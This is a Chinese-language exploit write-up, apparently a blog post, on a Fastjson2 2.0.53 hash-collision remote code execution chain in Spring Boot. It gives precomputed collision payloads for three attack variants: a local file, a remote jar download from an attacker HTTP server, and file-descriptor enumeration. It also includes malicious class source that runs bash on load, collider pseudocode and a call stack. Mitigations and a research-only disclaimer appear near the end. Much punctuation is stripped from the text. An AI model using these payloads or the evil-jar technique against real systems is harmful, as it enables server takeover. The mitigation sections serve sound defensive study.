Fastjson2 2.0.53 哈希碰撞 RCE:从原理到三种打法
攻击者往 JSON 里塞一个精心拼出来的类名这个类名的哈希值恰好骗过 Fastjson2 的白名单检查然后 Spring Boot 的类加载器二话不说去远程下载了这个类并执行——整个过程只需要默认配置零额外条件。0x00 背景与影响面影响版本Fastjson2 ≤ 2.0.53Spring Boot fat-jar 部署 JDK8 环境最舒服利用前提后端用了 Fastjson2 解析用户可控的 JSON项目是java -jar启动的标准 Spring Boot 包没有任何特殊配置不开 SafeMode、不配 autoTypeAccept、不自定义过滤器最终效果远程代码执行RCE攻击者能在目标服务器上跑任意命令。0x01 先搞懂为什么这玩意能成门禁只看工号不查身份证Fastjson2 遇到{type:某个类}时会尝试加载这个类。为了防止随便加载危险类它有一道检查把类名做 FNV-1a 64 位哈希看结果是不是在白名单里。问题在于——这个检查是前缀匹配的。它怎么做的每读一个字符就累加一次哈希每累加一次就问一遍这个值在白名单里吗一旦发现哈希对上了立刻放行而且不验证这个类名到底是不是白名单里那个类的真名。打个比方保安记住了张三的工号是 1234有人报工号 1234 就放进去但从来不看你的脸。白名单里硬编码了一个魔法数字-6293031534589903644对应的是com.alibaba.fastjson.util.AntiCollisionHashMap这个类名的哈希值。Fastjson2 为了兼容老版本内部用了这个类顺手把它写进了白名单——而且只写了这一个。那攻击者怎么让哈希对上哈希碰撞。FNV-1a 算法有个特性输入稍微变一丢丢输出就天差地别雪崩效应。反过来利用这个特性攻击者可以用数学方法反推出一个字符串后缀拼到自己的恶意类名后面让整个字符串在计算到某一步时哈希值恰好等于那个魔法数字。具体算法是meet-in-the-middle中间相遇从可控前缀出发正向枚举 5 个字符的所有组合64^5 ≈ 10 亿种记录每一步的哈希值从目标魔法数字出发反向倒推 5 个字符用质数的模逆元撤销乘法同样记录两边排序后双指针归并找到交集就是碰撞成功实测耗时约 2-8 分钟取决于前缀长度和机器性能。0x02 完整攻击链路拆解整个漏洞由5 个环节串联缺一个都打不通环节 1硬编码魔法数字根源// ObjectReaderProvider 构造函数里// 默认配置下acceptHashCodes 只有 1 个元素long[]acceptHashCodes{-6293031534589903644L};这个值就是AntiCollisionHashMap全限定名的 FNV-1a 哈希。用户没配任何AUTO_TYPE_ACCEPT_LIST时白名单就只有它一个。环节 2前缀匹配 无文本校验绕过关键// checkAutoType 里的逻辑简化longhashMAGIC;for(inti0;itypeName.length();i){hash^(long)typeName.charAt(i);hash*PRIME;// 每步都查白名单if(Arrays.binarySearch(acceptHashCodes,hash)0){returnloadClass(typeName);// 直接放行}}两个致命问题每读一个字符就查一次不是读完整个类名才查哈希命中后直接loadClass不检查typeName的文本是不是真的等于AntiCollisionHashMap修复版PR#7695补了一道acceptNameSet.contains(prefix)文本校验碰撞出来的jar:http://...前缀不在真实类名集合里直接被拒。环节 3必须走ObjectReaderImplObject这条路这是最坑的地方——同样的type放在不同位置的 JSON 里效果完全不同。Payload 形式走哪条路径结果{type:...}裸对象read(Map)type当普通字段不触发类加载[{type:...}]数组ObjectReaderImplObject.readObject触发 checkAutoType → RCEparseObject(body, Object.class)ObjectReaderImplObject触发 → RCESpringRequestBodyDTO 里 Object 字段FieldReaderObject→ObjectReaderImplObject触发 → RCE核心规律只要反序列化目标类型是Object或字段类型是Object就走ObjectReaderImplObject而这家伙在默认配置下无论如何都会调checkAutoType。read(Map)路径的源码里是if (SupportAutoType) continue;默认关了就直接跳过把type当普通 key-value 塞进 Map。数组路径则不同——数组元素没有预定类型只能用ObjectReaderImplObject来读这家伙第 110 行直接调getObjectReaderAutoType(typeName, null)一路走到checkAutoType。关于网传{}单对象 PoC 的说明网上有些文章说{type:...}单对象也能打。实测结论是——能打但取决于 API。用JSON.parse()裸解析{}不行走read(Map)但用parseObject(body, Object.class)解析{}就行走ObjectReaderImplObject。关键不是版本差异是入口选择。环节 4Spring Boot 的类加载器链Fastjson2 哈希校验通过后调TypeUtils.loadClass(typeName)最终用的是线程上下文类加载器。在 Spring Boot 里这条链是TomcatEmbeddedWebappClassLoader (先在自己地盘 WEB-INF 找) ↓ 找不到 LaunchedURLClassLoader (Spring Boot 的 fat-jar 专用加载器继承自 URLClassLoader) ↓ URLClassLoader.findClass → ucp.getResource(path) ↓ 发现 path 是个 jar:http:// URL → 下载 jar → defineClass关键点TomcatEmbeddedWebappClassLoader在 WEB-INF 里找不到jar:http://...这种东西于是委托给 parentLaunchedURLClassLoader。后者继承URLClassLoader它的findClass方法会把类名里的.替换成/再加.class然后当资源路径去查找。jar:http://xxx/dN7aDLK4cHe!/poc/Exception替换后变成jar:http://xxx/dN7aDLK4cHe!/poc/Exception.class——这恰好是一个合法的 JAR URLURLClassPath看到://就当绝对 URL 处理发起 HTTP 请求下载 jar 包读取里面的poc/Exception.class字节码交给defineClass加载。整个过程 Fastjson2 框架代码本身没有主动去下载任何东西——它只是调了loadClass是 Java 类加载器自己贴心地把类名当 URL 去下载了。环节 5JDK 版本决定能不能一步到位类名含不含//JDK 8JDK 9jar:http://...含//✅ defineClass 通过❌ ClassFormatErrorjar:file:/tmp/...单斜杠✅✅JDK 8 的classFileParser只禁止类名里出现[以及.;不管//连续斜杠。JDK 9 开始加了更严格的校验连续//直接拒绝。这就是为什么JDK 8 上可以直接jar:http://一步 RCE而 JDK 9 需要绕两步先 SSRF 把 jar 缓存到文件描述符再用jar:file:/proc/self/fd/N本地加载。0x03 三种利用方式方式一FILE 版本地文件条件evil jar 已经在目标机器的某个路径上比如通过文件上传功能投递到/tmpPayload[{type:jar:file:.tmp.evildFuzf6B8R0a!.poc.Exception,x:1}]碰撞参数前缀jar:file:.tmp.evil 后缀dFuzf6B8R0astep 28 命中耗时 262 秒。适用 JDK8 和 17 都行路径里没有//。方式二HTTP 版远程下载条件目标能访问攻击者的 HTTP 服务器Payload[{type:jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception,x:1}]拆解一下这个字符串jar:http:→ JAR 协议 HTTP..→ 在 JSON 里用点号Fastjson2 内部 replace 后变/拼成http://2130706433→127.0.0.1的整数形式避免点号被 replace 搞坏dN7aDLK4cHe→ 碰撞算出来的后缀让哈希命中!→ JAR entry 分隔符poc.Exception→ jar 包内的 entry 名碰撞参数前缀jar:http:..2130706433. 后缀dN7aDLK4cHestep 32 命中耗时 472 秒。适用 JDK仅 JDK 8含//。方式三FD 版文件描述符不出网JDK 8/9 通杀这是最骚的一种打法——完全不需要出网利用 Linux 的/proc/self/fd/N文件描述符加载。思路先用 multipart 慢速上传把一个 evil jar 投递到 Tomcat 的临时文件Tomcat 会持有这个文件的 fd然后发 JSON payload枚举 fd 3 到 80总有一个能命中jar:file:/proc/self/fd/N!/entry/path单斜杠无//JDK 8 和 JDK 9 都能过 defineClass 校验Payload 模板[{type:jar:file:.proc.self.fd.3!.fd3.pPFJXAm_4db.poc.Exception,x:1},{type:jar:file:.proc.self.fd.4!.fd4.碰撞后缀.poc.Exception,x:1},...{type:jar:file:.proc.self.fd.80!.fd80.碰撞后缀.poc.Exception,x:1}]关键技巧fd 号必须是纯数字/proc/self/fd/3才能被 Linux 正确解析所以碰撞后缀放在!后面的 entry 路径里不影响 fd 解析。碰撞参数fd3前缀jar:file:.proc.self.fd.3!.fd3. 后缀pPFJXAm_4dbstep 40 命中fd40前缀jar:file:.proc.self.fd.40!.fd40. 后缀I2gu665SUgb准备工作需要预先碰撞 fd 3-80 的 entry 后缀每个约 2 分钟全部约 2.5 小时。碰撞完之后 payload 模板固定实战中只需 multipart 投递 枚举。0x04 环境搭建依赖pom.xmldependenciesdependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2/artifactIdversion2.0.53/version/dependencydependencygroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-web/artifactIdversion2.7.18/version/dependency/dependencies漏洞触发代码就一行RestControllerpublicclassCtrl{PostMapping(/api/data)publicMapString,Objectdata(RequestBodyStringbody){MapString,ObjectrnewHashMap();try{ObjectobjJSON.parse(body);// ← 就这一行r.put(ok,true);r.put(class,obj.getClass().getName());}catch(Throwablee){r.put(ok,false);r.put(error,e.getClass().getName():e.getMessage());}returnr;}}启动方式java-jartarget/demo-1.jar没有 application.properties没有额外配置Fastjson2 纯默认。配置默认性自查表维度配置是否默认Fastjson2无任何设置不开 SupportAutoType不配 autoTypeAccept不设 SafeMode✅Spring Bootspring-boot-starter-web默认 Tomcat无配置文件✅应用代码JSON.parse(body)一行✅ 最简Classpath只有 fj2无 fj1evil 父类用 JDK 自带 Exception✅ 干净部署方式java -jarSpring Boot fat-jarLaunchedURLClassLoader✅ 标准JDK8u492✅0x05 Evil Jar 怎么造恶意 jar 包里的类需要满足几个条件packagepoc;publicclassExceptionextendsjava.lang.Exception{static{try{// 类加载时自动执行newProcessBuilder(bash,-c,echo RCE_OK /tmp/rce_proof.txt).start();}catch(Exceptionignored){}}}关键点必须继承java.lang.ExceptionJDK 自带无需额外依赖类名以Exception结尾——Fastjson2 默认配置下如果type加载失败会抛异常中断解析但如果类名以Exception或Error结尾它会静默忽略继续往下走。这在数组场景至关重要没命中的 fd 元素不会打断后续元素的解析this_class必须精确匹配加载路径——jar 包里Exception.class的this_class常量要写成jar:http://xxx/xxx!/poc/Exception否则报NoClassDefFoundError: wrong name用clinitstatic 块触发命令执行类一加载就跑0x06 碰撞器实现思路核心算法 meet-in-the-middle 的伪代码forward_pass: start_hash FNV1a(prefix) for combo in all_5char_combinations: # 64^5 ≈ 10亿 h start_hash for c in combo: h ^ c; h * PRIME store(h, combo) backward_pass: target -6293031534589903644 for combo in all_5char_combinations: h target for c in reversed(combo): h * MOD_INVERSE_OF_PRIME # 模逆元撤销 h ^ c store(h, combo) merge: sort both arrays two-pointer intersection → 找到碰撞点 → 重建完整后缀字符集用 64 个字符大小写字母 数字 部分符号避开 Fastjson2 在类名解析中会被转义的字符。0x07 完整调用栈HTTP 版JDK 8POST /api/data Body: [{type:jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception,x:1}] JSON.parse(body) → 首字符 [ → 走数组路径 → JSONReader.read(List) → 元素用 ObjectReaderImplObject.INSTANCE.readObject() → 读到 type 字段 → 默认配置 else 分支 typeName jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception context.getObjectReaderAutoType(typeName, null) → ObjectReaderProvider.checkAutoType() → FNV-1a 逐步累加 → step 32: hash -6293031534589903644 ✅ 命中 → loadClass(typeName) → TypeUtils.loadClass() → TomcatEmbeddedWebappClassLoader.loadClass() → findClass() 在 WEB-INF 找不到 → null → loadFromParent() → Class.forName(name, false, LaunchedURLClassLoader) → LaunchedURLClassLoader.loadClass() → URLClassLoader.findClass() → path name.replace(.,/) .class jar:http://2130706433/dN7aDLK4cHe!/poc/Exception.class → ucp.getResource(path) → 解析 jar:http URL → HTTP 下载 → jar_cache*.tmp → defineClass(name, bytes) ← JDK8 不校验 // → 类加载成功 → clinit 触发 → ProcessBuilder(bash,-c,echo HTTP_RCE_OK ...).start() → RCE0x08 预计算的碰撞结果利用方式前缀碰撞后缀命中 step耗时FILEjar:file:.tmp.evildFuzf6B8R0a28262sHTTPjar:http:..2130706433.dN7aDLK4cHe32472sFD3jar:file:.proc.self.fd.3!.fd3.pPFJXAm_4db40132sFD40jar:file:.proc.self.fd.40!.fd40.I2gu665SUgb——0x09 与 Fastjson 1.2.83 RCE 的区别很多人第一眼看到这个漏洞会觉得它和Fastjson 1.2.83CVE-2026-16723基本一样。实际上它们属于同一类利用链但不是同一个漏洞。相同点后半段利用链几乎一致两者最终都是攻击者控制 type ↓ checkAutoType 放行 ↓ loadClass(typeName) ↓ TomcatEmbeddedWebappClassLoader ↓ LaunchedURLClassLoader ↓ URLClassLoader.findClass() ↓ JarURLConnection ↓ 下载远程 Jar ↓ defineClass ↓ RCE也就是说两者最终都依赖Spring Boot fat-jar 的LaunchedURLClassLoader底层URLClassLoader将攻击者构造的jar:URL 当作类路径解析从而下载并加载恶意类。因此真正负责远程下载并执行的并不是 Fastjson而是 Java 类加载器。Fastjson 的作用只是让攻击者能够控制loadClass(typeName)的参数。不同点漏洞根因完全不同Fastjson 1.2.83漏洞核心在AutoType 检查逻辑。Fastjson1 在ParserConfig.checkAutoType()中对攻击者可控的typeName校验存在缺陷最终导致恶意typeName可以进入loadClass()完成后续利用。因此1.x 的漏洞重点是 AutoType 校验机制本身。Fastjson2 2.0.53Fastjson2 的 AutoType 整体实现已经重构。真正的问题出在ObjectReaderProvider.checkAutoType()默认白名单只保存了acceptHashCodes而不是真实类名校验过程采用逐字符计算 FNV-1a Hash ↓ 每一步都查询 acceptHashCodes ↓ Hash 命中立即 loadClass()但是命中 Hash 后没有再校验真实类名是否就是白名单里的那个类。于是攻击者可以利用FNV-1a Hash 碰撞jar:http://...... 碰撞字符串 ↓ Hash AntiCollisionHashMap 的 Hash ↓ 骗过 checkAutoType() ↓ loadClass()官方 PR #7695 修复的重点也是增加acceptNameSet.contains(prefix)即Hash 命中之后再校验真实类名。因此Fastjson2 的漏洞本质不是 AutoType 本身而是 Hash 白名单校验存在碰撞绕过。一句话总结两者可以理解为Fastjson 1.2.83Fastjson2 2.0.53AutoType 校验存在缺陷Hash 白名单校验存在缺陷最终进入loadClass()最终进入loadClass()利用LaunchedURLClassLoader下载恶意 Jar利用LaunchedURLClassLoader下载恶意 Jar漏洞根因不同漏洞根因不同后半段利用链几乎完全一致后半段利用链几乎完全一致0x10 漏洞本质与修复五层信任链全部失效缺陷层级问题Fastjson2 框架白名单用哈希做前缀匹配 命中后不校验原始文本PR#7695 修复Spring BootLaunchedURLClassLoader继承URLClassLoaderfindClass能解析jar:URL 并远程下载JDK 8defineClass不校验//jar:http://直接加载JAR URL 协议语义本身就支持嵌套远程加载jar:http://...!/entryJSON 协议type机制天然提供了让服务端加载任意类的入口官方修复PR#7695做了三件事加文本校验哈希命中后取出已扫描的前缀子串必须在真实白名单类名集合acceptNameSet里。jar:http://...不在集合里直接拒拒绝特殊字符if(typeName.indexOf(:)0||typeName.indexOf(!)0){thrownewJSONException(autoType is not support.typeName);}直接把jar:http:file:!这些 URL 特征字符拦在门口。拒绝危险基类if(ClassLoader.class.isAssignableFrom(clazz)||isSQLDataSource(clazz)){thrownewJSONException(autoType is not support.typeName);}临时缓解方案升级 Fastjson2到包含 PR#7695 的版本 2.0.54开启 SafeModeJSONFactory.getDefaultObjectReaderProvider().setSafeMode(true)彻底禁用 autoTypeWAF 规则拦截请求体中type包含jar:http:file:!的 JSON网络隔离阻断服务器主动外连同时防御 HTTP 版和 FD 版的 SSRF 投递阶段JDK 9 的//校验算是一道天然防线但不能单独依赖FD 版可以绕过0x0A 写在最后这个漏洞的精妙之处在于——Fastjson 1.2.83 与 Fastjson2 2.0.53 虽然根因不同但都体现了同一种利用思想前半段通过不同方式绕过 AutoType 安全检查后半段利用 Spring BootLaunchedURLClassLoader底层URLClassLoader解析jar:URL 完成远程类加载。因此两者真正不同的是如何进入loadClass()“而不是进入loadClass()之后发生了什么”。。Fastjson2 的哈希前缀匹配缺陷提供了进门的机会Spring Boot 的类加载器链提供了下载的能力JDK 8 的宽松校验提供了执行的可能而 JSON 数组的触发方式提供了稳定利用的入口。单独看每一环都算不上什么惊天大洞但串起来就是一条完整的 RCE 链。这就是安全研究的乐趣所在——把看似无害的小裂缝连成一道击穿系统的光。⚠️免责声明本文所述内容仅用于安全研究与防御目的。未经授权对第三方系统进行测试属于违法行为后果自负。